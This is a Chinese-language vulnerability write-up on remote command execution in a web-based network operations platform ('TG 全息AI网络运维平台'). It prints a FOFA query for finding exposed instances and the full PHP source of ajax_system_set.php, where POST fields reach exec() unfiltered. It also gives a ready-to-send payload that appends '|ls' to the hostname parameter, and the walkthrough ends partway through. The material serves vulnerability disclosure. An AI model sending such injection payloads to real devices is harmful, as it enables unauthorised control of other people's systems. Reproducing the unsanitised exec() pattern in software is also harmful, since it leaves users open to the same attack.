登录 白背景

TG 全息AI网络运维平台多个远程命令执行漏洞

漏洞描述

TG 全息AI网络运维平台 ajax_system_set.php 文件存在命令拼接,攻击者通过构造特殊请求可以执行任意命令

漏洞影响

TG 全息AI网络运维平台

FOFA

"全息AI网络运维平台"

漏洞复现

登录界面如下:

image-20210729204939905

存在漏洞的文件为

 /nmss/toolMenu/Ajax/ajax_system_set.php
<?php
include_once '../../../global.php';
include_once TG_WEB_DIR . "tnmp/tnmp.php";
include_once TG_WEB_DIR . "tnmp/tnmp_system.php";
include_once TG_WEB_DIR . "tnmp/ap_tnmp_wlan_pack.php";
include_once TG_WEB_DIR . "tnmp/ap_tnmp_system.php";
function clear_dat($file_name)
{
    if (file_exists($file_name))
    {
        unlink($file_name);
    }
}

function tnmp_visitor_account_openrate($cid = null,$data)
{
    if(isset($data->uid))
    {
        if (isset($data->username)) {
            $param = pack('C1C1a2a16a16L1',$data->uid,1,0,$data->username,$data->password,0);
        }
        else
        {
            $param = pack('C1C1a2a16a16L1',$data->uid,1,0,0,0,0);
        }


    }
    else
    {
        $param = pack('C1C1a2a16a16L1',0,1,0,$data->username,$data->password,0);
    }
    global $g_msg;
    tnmp_system_udp_command(SYSTEM_ACCOUNT_CMD, 0, $cid, strlen($param), $param, 0);
    if(strlen($g_msg) != 0)
    {
        $rv = unpack('C1error',$g_msg);
        return $rv['error'];
    }
    else
    {
        return 0;
    }

}

define('ST_VISITOR_ACCOUNT_INFO','C1uid/C1valid/A2reserve/A16username/A16password/L1last_time');
define('ST_VISITOR_ACCOUNT_INFO_LEN',40);
function tnmp_visitor_account_get()
{
    global $g_msg;

    tnmp_system_udp_command(SYSTEM_ACCOUNT_CMD, 0, SYSTEM_VISITOR_ACCOUNT_GET);

    $count = (int)(strlen($g_msg)/ST_VISITOR_ACCOUNT_INFO_LEN);

    for($i = 0; $i < $count; $i ++)
    {
        $arr[$i] = unpack(ST_VISITOR_ACCOUNT_INFO, substr($g_msg, $i*ST_VISITOR_ACCOUNT_INFO_LEN, ST_VISITOR_ACCOUNT_INFO_LEN));
        if($arr[$i]['last_time'] == 0)
        {
            $arr[$i]['last_time'] = '00-00 00:00';
        }
        else
        {
            $arr[$i]['last_time'] = date("m-d H:i",$arr[$i]['last_time']);
        }

    }

    return $arr;
}



define('ST_WIZARD_CONFIG_INFO', 'C1nettype/A3reserve/N1gateway/N1ipaddr/N1netmask/N1primaryDns/N1secondaryDns');

function sys_web_wizard_config_get(&$info)
{
    global $g_msg;
    tnmp_system_udp_command(SYSTEM_SYSTEM_CMD, 0,SYSTEM_WEB_WIZARD_GET);
    if(strlen($g_msg) <= 0)
        return 0;

    $data = unpack(ST_WIZARD_CONFIG_INFO, substr($g_msg, 0, 24));
    for($i = 0; $i<4;$i ++)
    {
        $data[$i] = unpack('a32ssid/C1encrypt/a3reserve1/a32key',substr($g_msg,24+$i*68,68));

        $data[$i]['ssid'] = trim($data[$i]['ssid']);
        $data[$i]['key'] = trim($data[$i]['key']);

    }

    $info = tnmp_array_to_object($data);
    $info->gateway = long2ip($info->gateway);
    $info->ipaddr = long2ip($info->ipaddr);
    $info->netmask = long2ip($info->netmask);
    $info->primaryDns = long2ip($info->primaryDns);
    $info->secondaryDns = long2ip($info->secondaryDns);

}

function auto_get_client_ip()
{
    $param = pack('C1',1);
    tnmp_system_udp_command_no_reply(SYSTEM_SYSTEM_CMD, 0, SYSTEM_AUTO_GET_IP, strlen($param), $param);
}

$cmd = $_POST["cmd"];

switch($cmd)
{
    case "set_password":
        $psw = $_POST["p"];
        $psw1= $_POST["p1"];
        $uname= $_POST["uname"];

        tnmp_system_account_get_nmsn($username, $password);
        if($psw != $password)
        {
            echo "error";
            exit(-1);
        }

        $psw1 .= "\0";
        if(!tnmp_system_account_set_nmsn($uname, $psw1))
        {
            session_start();
            $ip = getenv('REMOTE_ADDR');
            $log_chinese = "修改密码。";
            $log_english = "Modify password.";
            echo TNMP_REPLY_SUCCESS;
        }
        else
        {
            echo "error";
        }

        break;

    case "reboot_system":
        session_start();
        $ip = getenv('REMOTE_ADDR');
        $log_chinese = "重启主机。";
        $log_english = "Restart the host.";
        tnmp_system_reboot_nmsn();
        echo TNMP_REPLY_SUCCESS;
        break;

    case "start_pc_scan":
        tnmp_start_pc_scan();
        echo TNMP_REPLY_SUCCESS;
        break;

    case "get_language":
        $lang = vs_get_language();
        echo $lang;
        break;

    case "set_language":
        $lang = $_POST["language"];
        vs_set_language($lang);
        break;

    case "exchange_language":
        $language = vs_exchange_language_set();
        $language == "CH" ? $language = 0 : $language = 1;
        tnmp_system_language_set_nmsn($language);
        $poe_diag_result = "poe_diag_result.dat";
        $diag_result = "diag_result.dat";
        clear_dat($poe_diag_result);
        clear_dat($diag_result);
        break;

    case "deletePicture":
        tnmp_user_command_no_reply(USER_NETBAR_CMD, 0, AC_NETBAT_VIEW_CONFIG_CANCEL, strlen($param), $param, 0);
        tnmp_system_config_save();
        break;

    case "SYSTEM_TIMEZONE_SET":
        $data = $_POST["data"];

        $data = str_replace('\"', '"', $data);
        $obj=json_decode($data);
        $tzinfo = pack("a16a64a64a64",$obj->timezone,$obj->server1,$obj->server2,$obj->server3);
        tnmp_system_timezone_set($tzinfo);
        echo "success";
        break;
    case "SYSTEM_UPDATE_BROWSE_TIME":
        $browsetime = $_POST["browsetime"];
        tnmp_system_update_browse_time($browsetime);
        echo "success";
        break;
    case "SYSTEM_SYS_TIME_GET":
        tnmp_system_sys_time_get($systime);
        echo $systime;
        break;
    case 'visitor_account_add':
        $data = tnmp_json_decode($_POST["data"]);

        $rv = tnmp_visitor_account_openrate(SYSTEM_VISITOR_ACCOUNT_ADD, $data);

        if($rv != 0)
        {
            echo "error";
        }else
        {
            echo "success";
        }

        break;
    case 'visitor_account_get':
        $rv = tnmp_visitor_account_get();
        echo json_encode($rv);
        break;
    case 'visitor_account_set':
        $data = tnmp_json_decode($_POST["data"]);
        $rv = tnmp_visitor_account_openrate(SYSTEM_VISITOR_ACCOUNT_SET, $data);
        echo "success";
        break;
    case 'visitor_account_del':
        $data = tnmp_json_decode($_POST["data"]);
        $rv = tnmp_visitor_account_openrate(SYSTEM_VISITOR_ACCOUNT_DEL, $data);
        echo "success";
        break;
    case "save_all_config_set":
        tnmp_system_config_save_nmsn();
        break;
    case "ping_hostname":
        $hostname = $_POST["hostname"];
        $packetsize = $_POST["packet_size"];
        $count = $_POST["count"];
        $errorEn = array("Not found DNS(8.8.8.8). can not resolve the domain name.");
        $errorCh = array("Not found DNS(114.114.114.114). can not resolve the domain name.");
        $haveEn = $_POST["haveEn"];
        /*如果输入的是域名*/
        if($haveEn == 1){
            /*先判断DNS服务器是否有响应*/
            if($TGCP_LANGUAGE == "EN"){
                /*如果使用的是英文版,使用谷歌DNS*/
                exec("ping -c $count -W 1 -s $packetsize 8.8.8.8", $haveInet);
            }else{
                /*使用中文版,使用中国DNS*/
                exec("ping -c $count -W 1 -s $packetsize 114.114.114.114", $haveInet);
            }

            if (in_array("4 packets transmitted, 0 packets received, 100% packet loss", $haveInet))
            {
                if($TGCP_LANGUAGE == "EN"){
                    echo tnmp_json_encode_utf8($errorEn);
                }else{
                    echo tnmp_json_encode_utf8($errorCh);
                }
            }else{
                exec("ping -c $count -W 1 -s $packetsize $hostname", $result);
                echo tnmp_json_encode_utf8($result);
            }

            return;
        }

        exec("ping -c $count -W 1 -s $packetsize $hostname", $result);
        echo tnmp_json_encode_utf8($result);
        break;
    case "kill_ping":
        exec("killall -9 ping");
        echo "success";
        break;
    case "traceroute_hostname":
        $hostname = $_POST["hostname"];
        $haveEn = $_POST["haveEn"];
        $errorEn = array("Not found DNS(8.8.8.8). can not resolve the domain name.");
        $errorCh = array("Not found DNS(114.114.114.114). can not resolve the domain name.");

        exec("traceroute -q 1 -w 2 -n $hostname", $result);
        echo tnmp_json_encode_utf8($result);
        break;
    case "kill_traceroute":
        exec("killall -9 traceroute");
        echo "success";
        break;

    case "nslookup_hostname":
        $hostname = $_POST["hostname"];
        $haveEn = $_POST["haveEn"];
        $errorEn = array("Not found DNS(8.8.8.8). can not resolve the domain name.");
        $errorCh = array("Not found DNS(114.114.114.114). can not resolve the domain name.");

        if($haveEn == 1){
            /*先判断DNS服务器是否有响应*/
            if($TGCP_LANGUAGE == "EN"){
                /*如果使用的是英文版,使用谷歌DNS*/
                exec("ping -c 4 -W 1 -s 56 8.8.8.8", $haveInet);
            }else{
                /*使用中文版,使用中国DNS*/
                exec("ping -c 4 -W 1 -s 56 114.114.114.114", $haveInet);
            }

            if (in_array("4 packets transmitted, 0 packets received, 100% packet loss", $haveInet))
            {
                if($TGCP_LANGUAGE == "EN"){
                    echo tnmp_json_encode_utf8($errorEn);
                }else{
                    echo tnmp_json_encode_utf8($errorCh);
                }
            }else{
                exec("nslookup $hostname", $result);
                echo tnmp_json_encode_utf8($result);
            }
            return;
        }

        exec("nslookup $hostname", $result);
        echo tnmp_json_encode_utf8($result);
        break;
    case "kill_nslookup":
        exec("killall -9 nslookup");
        echo "success";
        break;
    case 'web_wizard_config_get':
        sys_web_wizard_config_get($data);

        echo tnmp_json_encode_utf8($data);
        break;
    case 'web_wizard_config_set':
        $data = str_replace('\"', '"', $_POST["data"]);    /*解决JSON传过来的数据,无法被解析的问题*/
        $data = json_decode($data,true);

        $param = pack("C1a3N1N1N1N1N1",$data["nettype"],0,ip2long($data["gateway"]),
            ip2long($data["ipaddr"]),ip2long($data["netmask"]),ip2long($data["primaryDns"]),
            ip2long($data["secondaryDns"]));
        for($i = 1; $i <= 4; $i ++)
        {
            $param .= pack("a32C1a3a32",$data[$i]["ssid"],$data[$i]["encrypt"],0,$data[$i]["key"]);
        }

        tnmp_system_udp_command(SYSTEM_SYSTEM_CMD, 0, SYSTEM_WEB_WIZARD_SET, strlen($param), $param, 0);
        echo 'success';
        break;
    case 'auto_get_ip':
        auto_get_client_ip();
        break;
    case 'web_dafault_pw_set':
        $un = $_POST["un"];
        $pw = $_POST["pw"];
        $pw .= "\0";
        if(!tnmp_system_account_set_nmsn($un, $pw))
        {
            echo 'success';
        }
        else
        {
            echo "error";
        }
        break;
    default:
        echo "unknow cmd";
        break;
}

?>

首先传入一个$cmd参数,该参数使用POST方法,然后有几个选择列表,然后来看这些选项,其中有一项,如下图:

image-20210729212514382

这里直接使用exec进行包含命令,并且没有进行用户输入信息的判断,所以可以进行命令拼接,来达到命令执行的目的。

然后构造命令:

cmd=ping_hostname&hostname=127.0.0.1|ls&packet_size=56&count=4&haveEn=1

image-20210729213127291

然后再往下看,又一个,也是同理:

image-20210729214031095

再往下看。。还有

image-20210729214305096